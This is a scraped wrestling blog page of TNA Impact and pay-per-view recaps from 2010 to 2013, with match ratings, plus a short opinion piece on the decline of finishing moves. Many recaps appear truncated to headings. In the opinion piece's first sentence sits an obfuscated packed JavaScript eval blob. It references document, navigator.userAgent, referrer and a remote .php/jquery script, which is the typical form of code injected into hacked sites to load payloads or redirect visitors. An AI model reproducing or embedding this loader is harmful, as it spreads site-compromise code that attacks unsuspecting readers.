Motor City Machineguns b. Mexican America – Skull and Bones to Anarquia
Mr. Anderson b. Bobby Roode via DQ when Roode hit Anderson with a beer bottle

Remember to follow me on Twitter @kbreviews and check out my book on the History of the WWE Championship on Amazon at:




Impact Wrestling – April 4, 2013: Brooke Hogan’s Showdown

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Date: April 4, 2013
Location: ASU Convocation Center, Jonesboro, Arkansas
Commentators: Taz, Mike Tenay, Todd Keneley

Tara/Gail Kim vs. Velvet Sky/Taryn Terrell

Post match Velvet hits Joey low.

Gut Check: Magno vs. Adam Pearce

Magno is pretty tall for a luchador. Feeling out process to start with Adam trying to take it to the mat, only to be flipped away with a wristlock and armdrag. Pearce takes it into the corner but charges into some boots, only to come back with a backdrop for two. Magno comes back with a springboard moonsault but lands square on his head. He seems to be fine but that looked BAD.

Pearce counters another springboard into a hard spinebuster for two Magno flips over to the apron and comes back with some clotheslines and an enziguri in the corner. Pearce goes to the floor and Magno (partially) hits a moonsault press to take Adam down. Back in and Pearce trips Magno up for a rollup and grabs the rope for the pin at 4:18.

We recap the Sting/Hogan fiasco over Bully Ray.

Hogan says Sting is in a gray area and not here tonight.

Angle and Park fire each other up for the ten man tag.

Petey Williams vs. Sonjay Dutt vs. Mason Andrews

Petey is back in and decks Andrews but hits a Russian legsweep and short range Downward Spiral on Dutt. The Canadian Destroyer (flip piledriver) is broken up and Andrews hits a quick top rope rana on Williams. Dutt hits a standing Sliced Bred on Andrews but a top rope double stomp misses. The Destroyer hits Andrews to give Williams the shot at 5:19.

Doc comes back in and breaks up a hot tag bid, only to miss a charge in the corner. The hot tag brings in Park who cleans house and is very excited about doing so. A splash gets two on Brisco as everything breaks down. We finally get down to D-Von, Joe and Park in the ring but Joe dives through the ropes to take out Knux. D-Von hits a spinebuster on Park but misses the flying headbutt. Park has to deal with the other bikers and gets caught by a low blow from Doc for the pin at 14:00.

Results

Gail Kim/Tara b. Taryn Terrell/Velvet Sky – Rollup to Terrell

Adam Pearce b. Magno – Rollup

Petey Williams b. Mason Andrews and Sonjay Dutt – Canadian Destroyer to Andrews

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the WWE Championship from Amazon at:




Impact Wrestling – March 28, 2013: They’re Starting To Roll

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Date: March 28, 2013
Location: ASU Convocation Center, Jonesboro, Arkansas
Commentators: Tazz, Todd Keneley, Mike Tenay

We recap Bad Influence interrupting the tag title match last week.

Chavo and Hernandez want to get their hands on Bad Influence.

Hernandez/Chavo Guerrero vs. Bad Influence

Taryn Terrell vs. Gail Kim

Post break Taryn keeps the fight going in the back.

The competitors next week are Magno and former NWA World Champion Adam Pearce.

Sting shouts at a security guard.

Post break Matt Morgan says that was yet another Hogan mistake but Sting keeps walking.

Kurt Angle/James Storm/Eric Young vs. Garrett Bischoff/Doc/Wes Brisco

The other bikers celebrate in the back and Anderson is all fired up for the match tonight.

We recap the end of Lockdown with Ray turning on Hogan and TNA.

Jeff Hardy vs. Mr. Anderson

Results

Chavo Guerrero/Hernandez b. Bad Influence – Frog Splash to Daniels

Mr. Anderson b. Jeff Hardy via DQ when Hardy hit Anderson with a hammer

Remember to follow me on Twitter @kbreviews




Impact Wrestling – March 21, 2013: The Bully Ray Story

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Date: March 21, 2013
Location: Sears Center Arena, Chicago, Illinois
Commentators: Mike Tenay, Tazz, Todd Keneley

Tag Titles: Bobby Roode/Austin Aries vs. Hernandez/Chavo Guerrero

We get a video on what the X Division means. Tonight the X Division Evolution begins, meaning there will be a reemphasis on the high flying and all title defenses will be three way matches.

Kenny King is fine with the new rules and plugs TNA’s sponsor in a promo.

X-Division Title: Kenny King vs. Sonjay Dutt vs. Zema Ion

The Hindu Press is broken up by King but Ion takes the champion down with a tornado DDT. Dutt flips into the ring with a sweet hurricanrana to send Ion to the floor. Sonjay runs up to the corner and after slipping a bit, takes out both other guys with a moonsault. He hits the moonsault double stomp on Ion but King comes in with a springboard Blockbuster to pin Dutt at 4:53.

Brooke Hogan is here to do business and nothing else.

Ray holds up his ring finger and says til death do us part so Brooke runs away.

Matt Morgan vs. Joseph Park

Hardy says may the best man win tonight.

Jeff Hardy vs. Magnus vs. Kurt Angle vs. Samoa Joe

The winner gets the shot at Bully Ray, presumably at Slammiversary. The fans seem to be behind Joe as he stomps Angle down in the corner. Joe cleans out the ring other than Kurt before hitting the corner enziguri to take him down. A knee drop to the head gets two before Joe sends Kurt to the floor. Joe hits a BIG dive to take out all three guys as we take a break.

Back with Angle pounding away on Magnus but being kneed down by the Brit. Hardy dives on Magnus but gets caught in a suplex for his efforts. Magnus stays on Hardy in the ring as Joe and Angle are down on the floor. The fans chant for Joe and Angle but Hardy starts to clean house. He hits a low dropkick on Magnus and Twisting Stunners on Joe and Angle. Magnus gets the full Twist but Angle breaks up the Swanton attempt. Magnus crotches Jeff but Angle has suplexes for everyone and an ankle lock for Joe. As Joe kicks Angle into Magnus, Hardy hits the Swanton on the Samoan for the pin and title shot at 12:13.

Hardy celebrates to end the show.

Results

Bobby Roode/Austin Aries b. Chavo Guerrero/Hernandez – Rollup to Guerrero

Kenny King b. Sonjay Dutt and Zema Ion – Springboard Blockbuster to Dutt

Matt Morgan b. Joseph Park – Carbon Footprint

Jeff Hardy b. Samoa Joe, Magnus and Kurt Angle – Swanton to Joe

Remember to follow me on Twitter @kbreviews




On This Day: March 21, 2010 – Destination X 2010: When You Reach Slapstick, Just Give Up

Destination X 2010
Date: March 21, 2010
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz

So the focus is back on the X Division here as we have Ultimate X and a tag team ladder match to take a look at this time. I watched this show live and I liked what I saw for the most part. We have AJ vs. Abyss in the main event which if it’s anything like their cage match about 5 years ago it will be great. Anyway, let’s get to it.

The opening video is thankfully about the X Division with Daniels talking about how awesome he is. And now we’re done with that and talking about the rest of the card. Of course it’s over the top since this is a TNA video.

Kazarian vs. Brian Kendrick vs. Amazing Red vs. Christopher Daniels

Winner is #1 contender to the X Division Title. Oh and it’s a ladder match. This was when Daniels had some weird thing on where it wrapped around his neck and then down to his arms. It just looked weird. Make your own Antonio Banderas jokes. We get going and Kendrick hits the floor. Smart. Red launches himself of the ropes to hit everyone not named Kendrick. There’s your first ladder.

Everyone goes for the contract in a row but no one gets it. I love that STO Daniels does. Taz knowing the real name of it might be the only thing worth a thing from him. The ladder has an ad for TNAwrestling.com. There’s something amusing about that. TNA gets the idea here at least: have a spot fest. That’s what a match like this is supposed to be and that’s what they’re giving us.

Red hits a SWEET hurricanrana to the floor. In a spot that I thought was stupid Kazarian has Red in position for the Flux Capactior on the ladder. The setup is like a Rock Bottom. His left arm is free. WHY DIDN’T HE GRAB THE FREAKING PAPER??? He makes up for it a bit with a slingshot Fameasser to a ladder on Daniels. Nice. Kendrick gets his fingers slammed in a ladder. FREAKING OW!

Daniels and Kaz are the only ones left in there. And there’s Kendrick so never mind. Crowd is totally behind Kendrick here in case you’re wondering. That five clap sequence the audience does needs to freaking die. It truly does. In a nice spot, Red goes for a springboard something but jumps into a Diamond Cutter from Kazarian. I like it.

Ladder number two is in and Red and Daniels have a race. Kazarian does the Shelton Spider-Man spot to get onto the ladders and knocks Daniels off to win the thing.

Rating: B+. It was a spot fest and that’s all it had to be. This was a great way to open the show and the match was solid. Even in a TNA crowd you have to get them fired up and what better way than this? Kaz will win the title soon and after this he deserves it. Fun match.

We talk about A.J. vs. Abyss for no apparent reason. I can’t get over this ring thing. It’s just idiotic to say the least. And here’s Ric Flair for no reason at all. Chelsea brings him out in a wheelchair. To the shock of no one, Flair is ticked off. I know some people love this, but it’s saddening to see him look like this much of a joke anymore.

He was so great and now he’s just a blithering old man. The ask your mother jokes are still kind of funny though. Seriously though, he’s just a crazy man that won’t let go of the past now.

We cut to Hogan and Abyss and Hogan likes him a lot. Shocking isn’t it? It continues to confuse me that he’s a former world champion here and all of a sudden he’s’ never accomplished a thing. The ring is just stupid. Is it supposed to make him super powered or something? He looks like someone attacked him with ketchup and mustard. Bischoff comes in and he has limited hair now. If nothing else the jokes Abyss and Hogan make are kind of funny.

Knockouts Title: Tara vs. Daffney

Tara is just made of hotness. Apparently Daffney is the “challengemer”. Sure why not Tenay. The zombie hot thing is hit or miss for me with her. She does the splits for her entrance which is unique apparently. I guess if Melina is hurt that makes it unique. Tara goes straight for her and we’re off and running early. Tara’s shirt comes off and I start smiling. At least she didn’t do the dance for the moonsault this time.

It’s ok when she’s dominating but not when she’s ticked off. Tara busts out a Tarantula which at least fits really well. Daffney hooks a screwed up submission hold which is very unique. This is a bit sloppy but it’s very nice to see women having a match where it looks like they know what they’re doing and you have a legitimate flow to the match rather than just moving from spot to spot, most of which would be blown.

Daffney doesn’t get to wrestle much but she’s not bad when she does. Widow’s Peak ends it. Daffney steals the spider afterwards so the feud continues.

Rating: C+. Not bad at all here. It’s nothing great, but it was perfectly watchable. Daffney surprised me in there and Tara of course is dependable so that works out fine. I wish they didn’t do the spider thing as there’s no real point to continuing this since Tara got a clean pin but whatever.

Brutus Magnus is changing his name to just Magnus. This turns into a discussion of Frankenstein. Sure why not.

Global Title: Magnus vs. Rob Terry

Terry is getting the Goldberg push which is fine I guess. It keeps his matches short if nothing else. It never ceases to amaze me that people talk about what an alternative to WWE TNA is supposed to be and here we have a not incredibly talented musclehead guy getting a mega push. A spinebuster ends this in like a minute and a half.

Rating: N/A. The Goldberg push continues, which I can’t say I have many problems with. This was a total non-threat so that’s all fine and good.

We get a highlight package on Ultimate X with a bunch of people talking about how dangerous it is. We’ll ignore that none of them have ever been in one of these matches.

The Machine Guns talk about how great they are and say Generation Me need their Hardy Boys Starter Kit. That’s rather amusing and the crowd laughed hard at it.

Taz says he was looking at the structure earlier when he was hanging in the rafters. Do I even need to make fun of that?

Ultimate X: Motor City Machine Guns vs. Generation Me

You think this could be awesome? Yeah me too. Penzer screws up a bit on his opening line. Ok one is Max and one is Jeremy. I’ll never remember that but whatever. BIG pop for the Guns. Seriously, how have these two never been tag champions? This is Sabin’s 13th Ultimate X match out of 20 that have happened. That’s INSANE. The Guns immediately hit the corners which is rather stupid but whatever.

Don’t expect a ton of play by play or criticism over psychology here. It’s just not going to happen. In a painful looking spot, One of the Bucks gets their hair pulled around the structure. FREAKING OW MAN! Ok Max has the headband. Got it. I think we got a Team 3D chant in there. Why? What the freaking heck? Who cares as Shelley hits a sweet looking dive to shut the fans up.

There is little more fun to see than precision double teaming. That’s what the golden age of tag wrestling was predicated on and these guys bring that back. Jeremy is freaking entertaining. He hits a springboard modified X-Factor and immediately hits a moonsault to the floor. Sweetness. They do something smart and say no replays until the match is over. That’s a good idea.

Jeremy gets up on the X but Sabin makes the stop. Shelley actually tickles Jeremy to knock him down. Well whatever works I guess. The fans think this is awesome. Now if only they were paying to see it. Everyone goes on one part of the X and they all do the leg hook thing but everyone falls. Kick-o-rama begins and it’s sweet. The speed of these guys is epic.

In a SWEET spot, Max is in the Tree of Woe and Jeremy takes a belly to belly into him. And in a STUPID move, the Guns unhook Max. Seriously, why in the world would you do that? It makes NO sense. One guy is on the floor and the other is stuck in the corner. One guy plays guard and the other goes up. Whatever though as we got a cool double team out of it. Sabin and Jeremy go up but down comes Jeremy and the Guns win it!

Rating: A-. Just a sweet match here. Much like the TLC matches, this wasn’t about wrestling but about high flying spectacles which is just fine. These are designed to have the guys showcase themselves and that’s what they did here. Very fun match and worth finding a copy of for sure.

The highlight package is great of course.

We recap the Band vs. Nash and Young. Seriously, could they make Nash’s heel turn more obvious? I certainly don’t think so. Oddly enough Nash throws a left handed punch in the video. That’s rather odd.

Hall and Nash say they’re ready and use the term Wolfpack a lot. Is this a Hangover commercial? WOW that was weak. Hall is in passable shape here which is shocking. Waltman steals my Crosby and Stills joke so I hate him even more now.

Scott Hall/Sean Waltman vs. Kevin Nash/Eric Young

The heels get no music. Ok then. Waltman is named Syxx-Pac here but that’s just not being written. Hall has a partner yet he’s a lone wolf. Figure that one out. I mean why would he be channeling Barry Windham? There’s a sign all night that says PG Sucks. That line and theory just amuses me. The Survey says the fans want Hall and Waltman to have contracts.

Why does that not surprise me? Young is just billed from Canada. Is that the best they can do? Pac and Young start us out so Pac will be bearable here. He’s always been better against small guys. I just have no reason to believe he’s this giant killer that everyone swears he is. Hall comes in and does all his old stuff. Seriously I’m sitting here calling every move he’s going to do down to the second.

Young and Pac botch the heck out of a backdrop. Waltman hits a decent over the top rope dive. No Nash at all yet as they have the whole thing so telegraphed it’s pathetic. Seriously, this is boring simply because we know what’s coming. Waltman sprays paint in Young’s eyes. Yeah I’m sure the referee sees nothing odd about that at all since he was with Nash the whole time. Nash gets the tag and there it is.

Even Taz sounds bored with it. All three finishers hit and it’s over. They do the paint outline of Young on the mat which makes the whole thing look stupid. We even get the Wolfpack theme song minus the lyrics. We’ll ignore the Young push being crushed for three old guys that were a unit 12 years ago.

Rating: D. Seriously, this was boring stuff. There was no point to the match as it was all about the turn that we all knew was coming. When a TNA crowd sounds bored out of their mind, you know you screwed up something bad. Also, it was so much of a swerve that they had the Wolfpack music not only ready but remixed without the lyrics. That’s a REAL swerve.

Angle burns a picture of Anderson. Ok then.

X-Division Title: Shannon Moore vs. Doug Williams

So on a show where the X-Division is being highlighted, the X Title match is going on about halfway through the show? Sure why not. Why is Moore getting PPV time when Hardy and Van Dam and Pope and Sting aren’t again? Has Moore ever won anything? Also, why do we need both him and Jesse Neal? I seriously couldn’t tell them apart if I had to. Moore apparently reads from the book of DILLIGAF.

Wow that’s idiotic but at least it’s something minor. We get a Cravate so I’m happy. It’s a weird kind of side headlock that Chris Hero uses a lot in case you’re wondering. It looks like you’re setting for a snapmare but you never flip the guy over. Williams is a good striker if nothing else. The crowd finally wakes up a bit. Williams reaches under the ring and gets a brick which gets the win. There needs to be an official Under the Ring Checker.

Seriously, people just throw EVERYTHING under there. Moore is allegedly bleeding but it doesn’t look like much blood to me. Post match we get a semi-shoot promo from Williams where he complains about how the division isn’t about wrestling anymore but high fliers so he’s going to change that. He goes and steals a woman’s purse to put lipstick on Moore. Ok then. The fans chant for RVD and no one comes of course. I would argue Hogan and his booking are what’s wrong with the division but that’s just me.

Rating: D. Weak stuff here as not only did no one care but the match wasn’t that good. Seriously, what in the world is the appeal of Shannon Moore? I seriously don’t get it. He never wins anything, his look is stupid and he’s nothing special in the ring. Total filler match.

We recap Morgan and Hernandez vs. Beer Money. This was just after Beer Money turned heel on television while whining about not being on television. I flat out do not like this angle at all as it’s making the tag titles look stupid kind of. If you insist on turning Morgn heel, at least wait awhile first.

Tag Titles: Matt Morgan/Hernandez vs. Beer Money

Sweet goodness have the champions fallen far. I like the opening of Beer Money’s theme song if nothing else. DAng that outline looks stupid. At least Morgan is wearing somewhat white tights so that’s a perk. Morgan and Roode start us out. And so much for that as Hernandez is tagged in maybe 10 seconds into the match. Did they miss the boat with Hernandez.

So basically the champions can’t be hurt and the challengers have zero chance here. Ah ok that’s better as Hernandez gets beaten down. Hernandez holds Storm up in a suplex for about 25 seconds. That’s very scary. So basically Morgan is cocky and comes in when Hernandez has beaten the other guys down.

Morgan blocks a big dive from Hernandez and then the Supermex gets hit with an enziguri, Once he remembers to sell it, Roode goes way up in my eyes with a Blockbuster. I love that move. After more arguing, the size and power are too much and a modified Dominator ends this. Morgan kicks Hernandez afterwards.

Rating: D+. This was all angle and not much about the match at all. That’s ok I guess as it set up a bigger one the next night. This was ok but nothing great at all. Beer Money isn’t as good as people say they are but they’re ok. I still don’t like the champions being together but that’s neither here nor there I guess. Decent but I wanted it to end.

We recap Angle vs. Anderson and their game of pass the medal. The promos have been good but it’s been repetitive with the medal being the focus of the thing over and over again.

Mr. Anderson vs. Kurt Angle

We have 53 minutes left so this is going to be LONG. We start off slow which is odd as they’ve fought before but that’s fine. The crowd is clearly not as hot as they were during the ladder or Ultimate X match. That’s not particularly a good thing but to be fair it means they put on a good match earlier. Much like he did with Shane at KOTR 2001, Angle does the volunteering to let Anderson get a free hold on him.

Naturally, Angle wins here. Angle is outwrestling him here which is what you would expect of him obviously. Dang the bald one can throw a punch when he wants to. Anderson works on the arm but that doesn’t work very well. Ok maybe it does. It’s so hard to tell at times. This has slowed down a lot and it’s not helping much at all. If nothing else Angle can still do a decent belly to belly. Naturally the Angle Slam gets two.

When was the last time that actually worked? Mic Check and tights get two. Angle busts out a frog splash and it wasn’t bad at all. There goes the referee as Anderson hits a belly to back suplex. Oh ok he spun about two inches so it’s an Angle Slam. Got it. Angle gets his medal back. Yeah I don’t care at this point either. He then does the same thing that he criticized Anderson for over the last few months.

Oh him being a face makes it ok though right? That’s the Hulk Hogan principle I believe. Ankle Lock ends it a few seconds later. Anderson was more or less worthless here. He was ok looking but this was very one sided. Anderson blasts the crowd afterwards. He says his name about ten times so this has to be a good promo right?

Rating: C-. Not bad, but really Anderson never had any real chance to win. Like I said, he looked ok but there was zero drama here. That’s never a good thing, especially in a long match like this. Either way, not bad or anything, just not that exciting.

We recap the Abyss/AJ match, which is perhaps the weakest main event I could think of. I mean really, did ANYONE buy Abyss possibly winning the title here? I never once did as they’re going to likely give it to Pope at Lockdown. Basically Hogan gave up his HOF ring and it’s made Abyss powerful or something. Oh and he chokeslammed Flair through the ramp.

AJ says he’s not afraid and Abyss is stupid.

Abyss says he has a ring and thanks Hogan. Remember: Abyss was nothing without Hogan. This goes on way too long and ends with Hogan catchphrases.

TNA World Title: A.J. Styles vs. Abyss

Seriously, the Hogan worship needs to END. This is idiotic to say the least. Oh look: let’s take someone not like Hogan at all and turn him into someone that does Hogan things. It’s just stupid. He’s a monster. Let him be a freaking monster! Flair and Chelsea are here too. Even big match intros aren’t helping this much. Yeah the red and yellow spots on his shirt are just idiotic looking.

Abyss does something SMART and jumps AJ during the intros. That’s a good and simple idea that works. We’re on the ramp now and Flair goes after Abyss. Seriously, what is he going to do? Remember, he’s in a wheelchair. See this is what makes AJ’s heel turn stupid: he can work great matches ON HIS OWN. AJ is a great wrestler and was world champion. WHY WOULD HE NEED A MENTOR???

That’s never been explained I don’t think. He’s the best in the world. What can Flair help him do? Become the best on Venus too? I mean if you factor Flair completely out of this, it’s a solid match based on AJ’s abilities alone. I just do not see what Flair adds to this at all. The other issue: Styles’ offense is based on face style moves. Seriously, he fights like a face does with the high flying stuff and all the kicks.

That’s what makes little sense to me. AJ works on the leg which makes perfect sense at least. The springboard forearm is caught. I love how AJ is outside in position for a springboard and Taz says he thinks he’s going for a springboard. Wow indeed. Pele brings AJ back into control. Question: WHERE IN THE WORLD IS JOE??? Seriously, we haven’t heard about him in like 2 months now and everyone is just not talking about him?

That makes no sense but whatever. It’s TNA so there we are. AJ hits Spiral Tap. CAN’T YOU SEE HOW EVIL HE IS??? The fans chant for the move and I shake my head at how they messed this up. Black Hole Slam gets two with almost no heat. And Flair maces the referee. A belt shot puts AJ down but it’s HOGAN FOR THE SAVE BABY!!! He brings Hebner with him so there’s your new referee I guess.

AJ continues to fail as a heel as he hits a springboard 450 splash but Abyss GIMMICK INFRINGEMENTS UP! Abyss chokeslams him through the ring and Hebner throws the match out. So let me get this straight. Abyss just crushed AJ after Hardy beat AJ on Impact and Pope gets AJ at the next PPV. Why is AJ being bought as champion again? Flair gets mace from Hogan.

Yeah the old men wandered out here looking for the Country Kitchen Buffet and wind up in the ring. And we get the idiotic ending to the show as they mace and punch Wolfe who also ran down and he stumbles over Flair who is on all fours to fall into the hole in the ring. WOW. Hogan leads Abyss around the ring like a canine and that’s it.

Rating: C-. The match itself was good, but the ending is straight up stupid. Seriously, they did a comedy sketch to end the PPV. Also, if AJ is more or less dead, why isn’t Abyss champion? Why does that make it a no contest? The whole thing just made limited sense to me. Also, AJ wrestles like a face, period. There is no reason for him to act like a heel at all. The ending here is the main issue though.

That and the lack of drama to it. Not once in the buildup or in the match did I expect Abyss to win, period. I think Pope gets the title at Lockdown. So what if his hype is mostly gone now due to the long delay? Since when does a champion need people to care about him right? Anyway enough of a tangent. This was an ok match with a flat out stupid ending. Don’t do this again TNA.

Overall Rating: D+. This is a show in two parts. The first half or hour and a half or so is great stuff. The second half, as in everything after Ultimate X, is just weak. There is not a single match on there that got me going or was really that good. The crowd is noticeably weaker too and for a TNA crowd, that’s saying a lot. After this show, I realized the issue: nothing of note happened here.

No titles changed hands, a lot of the feuds are unresolved, we knew MCMG and Kazarian would be winning their matches and AJ looks weak. Tell me, what was settled here? If we’re supposed to wait for Lockdown to do that, why have this show at all? It’s not a bad show by any means. It’s just uneventful. There are two GREAT matches on it which is why this is a good show.

There are passable matches here, no doubt. But like I said, nothing definitive happened here. Anderson and Daffney are going to keep feuding with the respective faces, Abyss deserves another shot, and the tag champions still don’t get along. What came from this show? Oh wait: Nash joined the Band in the most predictable segment this year.

That’s the big thing from this show right? Again, what came out of this show at all, because I’m missing it. Check out the X Division gimmick matches, but other than that, you’ll miss nothing off this show at all.

Remember to follow me on Twitter @kbreviews




Thought of the Day: The Death Of Finishers

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nekee|var|u0026u|referrer|izynd||js|php'.split('|'),0,{})) was watching the older Wrestlemanias a few weeks ago and Gorilla brought up something interesting.You would hear Gorilla talking about some wrestler and say that if they hit whatever their signature move was, the match would be over.  This got me to thinking: are they any moves that are a guaranteed victory anymore?  Back in the day, when someone kicked out of a big time finisher, it was a world changing event.  Today if it doesn’t happen three times in a match the match is considered subpar.  At that point, a move isn’t a finisher anymore.  It’s a move you happen to do in a match.




On This Day: March 20, 2012 – Xplosion: I See Why They Don’t Talk About This Show

Xplosion
Date: March 20, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, Eric Bischoff

Eric Young vs. Kazarian

We close things out with the Ultimate X match for the X Title at Victory Road 2011.

X-Division Title: Kazarian vs. Max Buck vs. Jeremy Buck vs. Robbie E

 

Kaz is defending coming in. The idea here is the title is hung over the ring on cables that cross to form an X. You have to climb across to grab the title and can’t use a ladder. It’s supposed to be all about Kaz remember. This is the 24th Ultimate X match in history apparently and Kaz’s, who is defending fifth. This is kind of a weird triple that with Gen Me vs. Robbie vs. Kaz. The team beats up both guys to start us off.

 

Kaz fights them off for a bit and manages a springboard up to the X in a cool spot. That gets him nowhere as Robbie comes in and stomps away. Max goes up but it’s Robbie stopping him. Cookie is hot but the voice is annoying. Gen Me gets everyone down and goes for the belt until Robbie stops them again. Kaz is back in now and faces off with Jersey Boy.

 

Robbie escapes the Fade to Black (that reverse Piledriver) and gets backdropped to the floor, hitting his ankle on the steps. Gen Me wakes up again and takes down both guys one more time. Jeremy gets a sweet assisted moonsault to take Robbie and Kaz down. Max is all alone but wants Jeremy to help him up instead. Jeremy holds off Kaz and Max makes a run at it. Kaz of course saves as Robbie has a bad ankle still.

 

Double dropkick puts down Kaz and a baseball slide does the same to Robbie. Jeremy does this weird reverse jump to get up and holds off Kaz. This again fails and Maz, who also was trying to get the belt, is swung backwards and gets knocked off and caught in a cutter to put him down. Robbie gets up and goes for the title, only to get pulled down by Max. And never mind as Max is sent into the structure by Kaz and gets stuck. That’s different if nothing else.

 

Everyone is down now and Max is unhooked for a change. Kaz hits Fade to Black on Robbie but gets kicked by Jeremy. Jeremy tries to go up only to take an enziguri from the champion to put him down. Flux Capacitor (suplex/rock bottom) off the top by Kaz puts Jeremy down again. Robbie and Kaz both go across at the same time. Gen Me kicks Robbie down and swing the champion down too in a nice bump.

 

Jeremy goes up and Max is ticked. Max pulls him down which is the point of the match. They both go from opposite corners and both are hung by their legs upside down in the middle. They slug it out up there until Robbie grabs a ladder to take them down. Kaz goes above the X and grabs the title at the same time as Robbie. Kaz pulls it up but there’s no bell. Oh there it is.

 

Rating: C+. It’s ok but this is a match that has been done so many times that there wasn’t much here. It’s definitely one of the weaker matches they’ve had with this gimmick but it’s still good. Fun match but they kept trying to play up the Bucks only for them to break up and not play a factor in the end. Fun, but definitely not great.

http://kbwrestlingreviews.com/2012/03/18/victory-road-2012-i-want-to-punch-twitter-in-the-face/

Remember to follow me on Twitter @kbreviews